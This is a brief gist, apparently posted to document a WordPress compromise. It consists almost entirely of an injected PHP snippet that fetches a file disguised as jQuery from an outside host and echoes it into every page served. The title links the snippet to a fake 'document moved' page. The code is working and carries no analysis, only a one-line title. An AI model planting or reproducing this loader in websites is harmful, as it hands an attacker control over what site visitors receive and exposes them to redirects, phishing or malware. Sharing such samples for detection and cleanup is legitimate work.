WP Hack executing jQuery, document moved fakery

gistfile1.txt

<?php
if(function_exists('curl_init'))
{
 $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; 
 $ch = curl_init();  
 $timeout = 5;  
 curl_setopt($ch,CURLOPT_URL,$url); 
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
 $data = curl_exec($ch);  
 curl_close($ch); 
 echo "$data";
}
?>